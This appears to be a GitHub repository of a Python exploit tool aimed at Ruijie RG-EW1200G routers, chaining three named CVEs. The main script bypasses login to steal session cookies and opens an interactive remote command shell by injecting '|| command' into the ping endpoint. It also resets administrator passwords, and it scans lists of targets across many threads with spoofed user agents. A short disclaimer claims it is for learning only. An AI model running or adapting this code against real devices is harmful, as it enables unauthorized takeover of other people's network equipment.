├── LICENSE
├── README.md
├── requirements.txt
├── user_agent.py
└── 锐捷RG-EW1200G登录绕过(CVE-2023-4415).py
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 Richard Smith
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Ruijie-RG-EW1200G CVE-2023-4169_CVE-2023-3306_CVE-2023-4415
2 | 1. RG-EW1200G后台远程代码执行漏洞(CVE-2023-3306)
3 | 2. CVE-2023-4169 未授权任意密码修改(CVE-2023-4169)
4 | 3. 锐捷RG-EW1200G 登录绕过(CVE-2023-4415)
5 |
6 | ## Attention
7 | >我开发了一个用于本地测试和POC开发的工具,仅供技术学习参考。请不要将其用于非法目的。个人或组织使用本文提供的信息所造成的任何直接或间接后果和损失均由用户自行负责,与作者无关!!!
8 | >I have developed a tool for local testing and POC development, which is for technical learning reference only. Please do not use it for illegal purposes. Any direct or indirect consequences and losses caused by individuals or organizations using the information provided in this article are the responsibility of the user themselves and have nothing to do with the author!!!
9 |
10 |
11 |
12 |
13 |
14 | ## Description
15 | Ruijie Network is a brand of data communication solutions. Ruijie Network adheres to the path of independent research and development, and takes a unique development path in the fiercely competitive network equipment market with "scenario innovation". Since its establishment, Ruijie Network has established its mission to "promote the development of network technology, keep up with the wave of network applications, integrate technology and applications, and promote social progress
16 |
17 | ## installation
18 | Just install the requests library
19 | > pip install -r requirements.txt
20 |
21 | ## Tools Usage
22 | ```python
23 | python 锐捷RG-EW1200G登录绕过(CVE-2023-4415).py -h
24 | usage: 锐捷RG-EW1200G登录绕过(CVE-2023-4415).py [-h] (-u URL | -f FILE) [--random-agent RANDOM_AGENT | -a USERAGENT]
25 | [-d DELAY] [-t THREAD] [--proxy PROXY]
26 |
27 | Ruijie RG-EW1200G: login bypass(CVE-2023-4415) & RCE(CVE-2023-3306) & anonymous reset password(CVE-2023-4169)
28 |
29 | optional arguments:
30 | -h, --help show this help message and exit
31 | -u URL, --url URL Enter target object
32 | -f FILE, --file FILE Input target object file
33 | --random-agent RANDOM_AGENT
34 | Using random user agents
35 | -a USERAGENT, --useragent USERAGENT
36 | Using the known User-agent
37 | -d DELAY, --delay DELAY
38 | Set multi threaded access latency (setting range from 0 to 5)
39 | -t THREAD, --thread THREAD
40 | Set the number of program threads (setting range from 1 to 50)
41 | --proxy PROXY Set up the proxy
42 |
43 | After obtaining login permissions, the following operations can be performed:
44 | - Enter 0 to exit the connecion!
45 | - Enter 1 to show all the cookies which has been recorded!
46 | - Enter 2 to try to login bypass the machine!
47 | - Enter 3 to try to remote code Execute to control the machine!
48 | - Enter 4 to try to reset the user's password!
49 | ```
50 | ### Example
51 |
52 |
53 |
54 |
55 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | requests==2.26.0
2 |
--------------------------------------------------------------------------------
/user_agent.py:
--------------------------------------------------------------------------------
1 | import random
2 |
3 | # pc端的user-agent
4 | user_agent_pc = [
5 | # 谷歌
6 | 'Mozilla/5.0.html (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.html.2171.71 Safari/537.36',
7 | 'Mozilla/5.0.html (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.html.1271.64 Safari/537.11',
8 | 'Mozilla/5.0.html (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.html.648.133 Safari/534.16',
9 | # 火狐
10 | 'Mozilla/5.0.html (Windows NT 6.1; WOW64; rv:34.0.html) Gecko/20100101 Firefox/34.0.html',
11 | 'Mozilla/5.0.html (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10',
12 | # opera
13 | 'Mozilla/5.0.html (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.html.2171.95 Safari/537.36 OPR/26.0.html.1656.60',
14 | # qq浏览器
15 | 'Mozilla/5.0.html (compatible; MSIE 9.0.html; Windows NT 6.1; WOW64; Trident/5.0.html; SLCC2; .NET CLR 2.0.html.50727; .NET CLR 3.5.30729; .NET CLR 3.0.html.30729; Media Center PC 6.0.html; .NET4.0C; .NET4.0E; QQBrowser/7.0.html.3698.400)',
16 | # 搜狗浏览器
17 | 'Mozilla/5.0.html (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.html.963.84 Safari/535.11 SE 2.X MetaSr 1.0.html',
18 | # 360浏览器
19 | 'Mozilla/5.0.html (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.html.1599.101 Safari/537.36',
20 | 'Mozilla/5.0.html (Windows NT 6.1; WOW64; Trident/7.0.html; rv:11.0.html) like Gecko',
21 | # uc浏览器
22 | 'Mozilla/5.0.html (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.html.2125.122 UBrowser/4.0.html.3214.0.html Safari/537.36',
23 | ]
24 | # 移动端的user-agent
25 | user_agent_phone = [
26 | # IPhone
27 | 'Mozilla/5.0.html (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.html.2 Mobile/8J2 Safari/6533.18.5',
28 | # IPAD
29 | 'Mozilla/5.0.html (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.html.2 Mobile/8C148 Safari/6533.18.5',
30 | 'Mozilla/5.0.html (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.html.2 Mobile/8J2 Safari/6533.18.5',
31 | # Android
32 | 'Mozilla/5.0.html (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0.html Mobile Safari/533.1',
33 | 'Mozilla/5.0.html (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0.html Mobile Safari/533.1',
34 | # QQ浏览器 Android版本
35 | 'MQQBrowser/26 Mozilla/5.0.html (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0.html Mobile Safari/533.1',
36 | # Android Opera Mobile
37 | 'Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10',
38 | # Android Pad Moto Xoom
39 | 'Mozilla/5.0.html (Linux; U; Android 3.0.html; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0.html Safari/534.13',
40 | ]
41 |
42 |
43 | def get_user_agent_pc():
44 | return random.choice(user_agent_pc)
45 |
46 |
47 | def get_user_agent_phone():
48 | return random.choice(user_agent_phone)
49 |
--------------------------------------------------------------------------------
/锐捷RG-EW1200G登录绕过(CVE-2023-4415).py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import copy
3 |
4 | from user_agent import get_user_agent_pc
5 | import requests
6 | import os
7 | import random
8 | import string
9 | import time
10 | import concurrent.futures
11 | import re
12 |
13 | MIN_VARIABLE_NUM = 1
14 | MAX_VARIABLE_NUM = 10
15 | MAX_LENGTH = 10
16 | requests.packages.urllib3.disable_warnings()
17 | headers = None
18 | proxies = None
19 | timeout = None
20 | delay = None
21 | thread = None
22 | LOGIN_COOKIES = dict()
23 | DEFAULT_USER_AGENT = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
24 |
25 |
26 | def _post_request(session: requests.Session, url: str, data: dict, headers: dict = None) -> (int, requests.Response or str):
27 | global proxies
28 | try:
29 | res = session.post(url=url, json=data,
30 | headers=headers, proxies=proxies, verify=False)
31 | return 200, res
32 | except Exception as e:
33 | return 500, f"[!]Unable to access {url} normally, due to{e.args.__str__()}"
34 |
35 |
36 | def _get_content(o: requests.Response, encoding: str = "UTF-8") -> str:
37 | _encoding = encoding if o.encoding is None or not o.encoding else o.encoding
38 | return o.content.decode(_encoding)
39 |
40 |
41 | def create_random_variable_name(length: int, is_value: bool = False) -> tuple:
42 | _start = 0 if is_value else 1
43 | if length < 1 or length > MAX_LENGTH:
44 | if is_value:
45 | length = 1
46 | else:
47 | length = 2
48 | letters = string.ascii_letters
49 | nums_letters = string.ascii_letters + string.digits
50 | _prefix = ''.join(random.choice(letters) for _ in range(_start))
51 | _suffix = ''.join(random.choice(nums_letters) for _ in range(length))
52 | o = _prefix + _suffix
53 | return o, length
54 |
55 |
56 | def create_random_variable_length() -> int:
57 | return random.randint(MIN_VARIABLE_NUM, MAX_VARIABLE_NUM)
58 |
59 |
60 | def attack(url: str, attack_url: str, headers: dict = None):
61 | session = requests.session()
62 | url = url[:-1] if url.endswith("/") else url
63 | password, _ = create_random_variable_name(create_random_variable_length(), is_value=True)
64 | data = {
65 | 'username': "2",
66 | 'password': password
67 | }
68 | code, res = _post_request(session, url + attack_url, data, headers=headers)
69 | if code != 200:
70 | if LOGIN_COOKIES is not None and LOGIN_COOKIES:
71 | if LOGIN_COOKIES.get(url, None) is not None:
72 | LOGIN_COOKIES.pop(url)
73 | else:
74 | # content = _get_content(res)
75 | cookie = requests.utils.dict_from_cookiejar(session.cookies)
76 | if LOGIN_COOKIES.get(url, None) is None:
77 | LOGIN_COOKIES.setdefault(url, cookie)
78 | else:
79 | LOGIN_COOKIES[url] = cookie
80 | print(f"[+]{url} can login by setting cookies:{cookie} ")
81 |
82 |
83 | def task_login_bypass(param: dict):
84 | global proxies, headers, timeout, delay, thread, LOGIN_COOKIES
85 | urls = parse_param(param)
86 | attack_url = "/api/sys/login"
87 | _headers = copy.deepcopy(headers)
88 | _headers.setdefault('Content-Type', 'application/x-www-form-urlencoded')
89 |
90 | with concurrent.futures.ThreadPoolExecutor(max_workers=thread) as executor:
91 | for url in urls:
92 | executor.submit(attack, url, attack_url, _headers)
93 | time.sleep(delay)
94 |
95 |
96 | def task_show_cookies():
97 | index = 0
98 | for k, v in LOGIN_COOKIES.items():
99 | print(f"item-{index} -> {k}'s available cookies are {v}")
100 |
101 |
102 | def task_run_command(url: str, cookies: dict, command: str):
103 | global proxies, headers, timeout, delay, thread, LOGIN_COOKIES
104 | session = requests.session()
105 | attack_url = "/bf/ping"
106 | _headers = copy.deepcopy(headers)
107 | _headers.setdefault('Content-Type', 'application/x-www-form-urlencoded')
108 |
109 | _cookies = requests.utils.cookiejar_from_dict(cookies, cookiejar=None, overwrite=True)
110 | session.cookies = _cookies
111 |
112 | _command = f"|| {command}"
113 | data = {
114 | "ping_address": _command,
115 | "ping_package_num": 5,
116 | "ping_package_size": 56,
117 | "is_first_req": 'true'
118 | }
119 | code, res = _post_request(session, url + attack_url, data, headers=_headers)
120 | if code != 200:
121 | print(res)
122 | return
123 | print(_get_content(res))
124 |
125 |
126 | def task_reset_password(url: str, cookies: dict, username: str, password: str):
127 | global proxies, headers, timeout, delay, thread, LOGIN_COOKIES
128 | session = requests.session()
129 | attack_url = "/api/sys/set_passwd"
130 | _headers = copy.deepcopy(headers)
131 | _headers.setdefault('Content-Type', 'application/x-www-form-urlencoded')
132 |
133 | _cookies = requests.utils.cookiejar_from_dict(cookies, cookiejar=None, overwrite=True)
134 | session.cookies = _cookies
135 |
136 | data = {
137 | "username": username,
138 | "admin_new": password
139 | }
140 |
141 | _confirm = int(input(f"Are you sure to reset the password for {username}(0 for no and 1 for yes):"))
142 | if _confirm is not None and _confirm:
143 | code, res = _post_request(session, url + attack_url, data, headers=_headers)
144 | if code != 200:
145 | print(res)
146 | return
147 | print(_get_content(res))
148 |
149 |
150 | def set_cmd_arg() -> any:
151 | description = 'Ruijie RG-EW1200G: login bypass(CVE-2023-4415) & RCE(CVE-2023-3306) ' \
152 | '& anonymous reset password(CVE-2023-4169)'
153 | parser = argparse.ArgumentParser(description=description, add_help=True)
154 |
155 | targets = parser.add_mutually_exclusive_group(required=True)
156 | targets.add_argument('-u', '--url', type=str, help='Enter target object')
157 | targets.add_argument("-f", '--file', type=str, help='Input target object file')
158 |
159 | useragent = parser.add_mutually_exclusive_group(required=False)
160 | useragent.add_argument('--random-agent', type=bool, help='Using random user agents')
161 | useragent.add_argument('-a', '--useragent', type=str, help='Using the known User-agent')
162 |
163 | parser.add_argument('-d', '--delay', type=int,
164 | required=False, help='Set multi threaded access latency (setting range from 0 to 5)')
165 | parser.add_argument('-t', '--thread', type=int,
166 | required=False, help='Set the number of program threads (setting range from 1 to 50)')
167 | parser.add_argument('--proxy', type=str, required=False, help='Set up the proxy')
168 |
169 | args = parser.parse_args()
170 | return args
171 |
172 |
173 | def parse_cmd_args(args) -> dict:
174 | o = dict()
175 | if args.url is None or not args.url:
176 | o.setdefault('url', {'type': 'file', 'value': args.file})
177 | else:
178 | o.setdefault('url', {'type': 'str', 'value': args.url})
179 |
180 | options = dict()
181 | if args.random_agent is not None and args.random_agent:
182 | user_agent = get_user_agent_pc()
183 | else:
184 | user_agent = DEFAULT_USER_AGENT
185 | options.setdefault('user_agent', user_agent)
186 |
187 | options.setdefault('delay', args.delay if args.delay is not None else 0)
188 | options.setdefault('thread', args.delay if args.thread is not None else 1)
189 | options.setdefault('proxy', args.proxy if args.proxy is not None else None)
190 | o.setdefault('options', {"type": "str", "value": options})
191 | return o
192 |
193 |
194 | def parse_param(o: dict) -> list:
195 | global proxies, headers, timeout, delay, thread
196 |
197 | def check_proxy(content: str) -> (int, str):
198 | mode = re.compile("^(?P(http|https|socks4|socks5>))://([A-Za-z0-9]*:[A-Za-z0-9]*@)?([A-Za-z0-9.\-]+)(:[0-9]+)(/[A-Za-z0-9./]*)?", re.I)
199 | groups = mode.search(content)
200 | if groups is None:
201 | return 500, "Unreasonable proxy settings"
202 | try:
203 | protocol = groups.group("protocol")
204 | return 200, protocol
205 | except Exception as e:
206 | return 404, "Failed to identify the protocol used by the agent"
207 |
208 | brute_list = get_data_brute_params(o)
209 | urls = brute_list.get('url', None)
210 | options = brute_list.get('options', None)
211 | if options:
212 | options = options[0]
213 | _proxy = options.get('proxy', None)
214 | if _proxy is None or not _proxy:
215 | proxies = _proxy
216 | else:
217 | code, content = check_proxy(_proxy)
218 | if code != 200:
219 | proxies = _proxy
220 | else:
221 | proxies = dict()
222 | proxies.setdefault(content, _proxy)
223 |
224 | headers = dict() if headers is None or not headers else headers
225 | headers.setdefault("User-Agent", options.get('user_agent', DEFAULT_USER_AGENT))
226 |
227 | timeout = options.get('time_out', 0)
228 | delay = options.get('delay', 0)
229 | thread = options.get('thread', 1)
230 | return urls
231 |
232 |
233 | def get_data_brute_params(url_dict: dict) -> dict:
234 | brute_list = {
235 | 'url': None
236 | }
237 |
238 | for key, value in url_dict.items():
239 | _type = value.get("type")
240 | if _type is None or not _type:
241 | continue
242 | if _type == "file":
243 | _value = value.get("value")
244 | code, res = get_data_from_file(_value, mode="r")
245 | if code != 200:
246 | print(res)
247 | continue
248 | brute_list[key] = res
249 | else:
250 | brute_list[key] = [value.get('value', None), ]
251 | return brute_list
252 |
253 |
254 | def get_data_from_file(filename: str, mode: str) -> tuple:
255 | def check_filename(name: str) -> (int, str or None):
256 | if not os.path.isabs(name):
257 | name = os.path.abspath(os.path.join(os.getcwd(), name))
258 | if not os.path.exists(name):
259 | return 404, f"[!]{name} does not exist"
260 | if not os.path.isfile(name):
261 | return 405, f"[!]{name} is Not a legal document"
262 | return 200, name
263 |
264 | try:
265 | code, content = check_filename(filename)
266 | if code != 200:
267 | return code, content
268 | with open(filename, mode=mode) as f:
269 | content = f.read().split()
270 | return 200, content
271 | except Exception as e:
272 | return 200, f"[!]Unexpected error occurred during file processing while opening {filename}"
273 |
274 |
275 | def dispatch(obj: dict):
276 | print("=" * 100)
277 | print("Enter 0 to exit the program!")
278 | print("Enter 1 to show all the cookies which has been recorded!")
279 | print("Enter 2 to try to login bypass the machine!")
280 | print("Enter 3 to try to remote code Execute to control the machine!")
281 | print("Enter 4 to try to reset the user's password!")
282 | print("=" * 100)
283 | action_num = int(input("Current choice is "))
284 | print("=" * 100)
285 | while 0 <= action_num < 5:
286 | if action_num == 0:
287 | print("Good Bye 0u0")
288 | break
289 | elif action_num == 1:
290 | print("[*]We are trying to show all the possible vulnerable website with login Cookies:")
291 | task_show_cookies()
292 | elif action_num == 2:
293 | print("[*]Attacking Logging:")
294 | task_login_bypass(obj)
295 | elif action_num == 3:
296 | print("[*]We are trying to show all the possible vulnerable website with login Cookies:")
297 | task_show_cookies()
298 | keys = [item for item in LOGIN_COOKIES.keys()]
299 | _len = len(keys)
300 | _num = int(input("(Please Choice which connection you want to try between 0 and {_len - 1})>>>"))
301 | while _num < 0 or _num >= _len:
302 | _num = int(input(f"[!]You should Try to enter the num between 0 and {_len - 1}>>>"))
303 | url = keys[_num]
304 | cookies = LOGIN_COOKIES.get(url, None)
305 | command = input("(Please Enter the command you want to exec, such as ping, but enter exit to exit the shell)>>>")
306 | while command.lower() != "exit":
307 | task_run_command(url, cookies, command)
308 | command = input("(Please Enter the command you want to exec, such as ping, but enter exit to exit the shell)>>>")
309 | elif action_num == 4:
310 | print("[*]We are trying to show all the possible vulnerable website with login Cookies:")
311 | task_show_cookies()
312 | keys = [item for item in LOGIN_COOKIES.keys()]
313 | _len = len(keys)
314 | _num = int(input("(Please Choice which connection you want to try, such as 0)>>>"))
315 | while _num < 0 or _num >= _len:
316 | _num = int(input(f"[!]You should Try to enter the num between 0 and {_len - 1}>>>"))
317 | url = keys[_num]
318 | cookies = LOGIN_COOKIES.get(url, None)
319 | print("[*]We are trying to reset the password, it may be dangerous:")
320 | username = input("Please Enter which one you want reset:")
321 | password = input("Please Enter the new password:")
322 | task_reset_password(url, cookies, username, password)
323 | else:
324 | print("[-]Terrible Input, Please Again")
325 | print("=" * 100)
326 | action_num = int(input("Current choice is "))
327 | print("=" * 100)
328 |
329 |
330 | def main() -> None:
331 | args = set_cmd_arg()
332 | obj = parse_cmd_args(args)
333 | task_login_bypass(obj)
334 | dispatch(obj)
335 |
336 |
337 | if __name__ == '__main__':
338 | main()
339 |
--------------------------------------------------------------------------------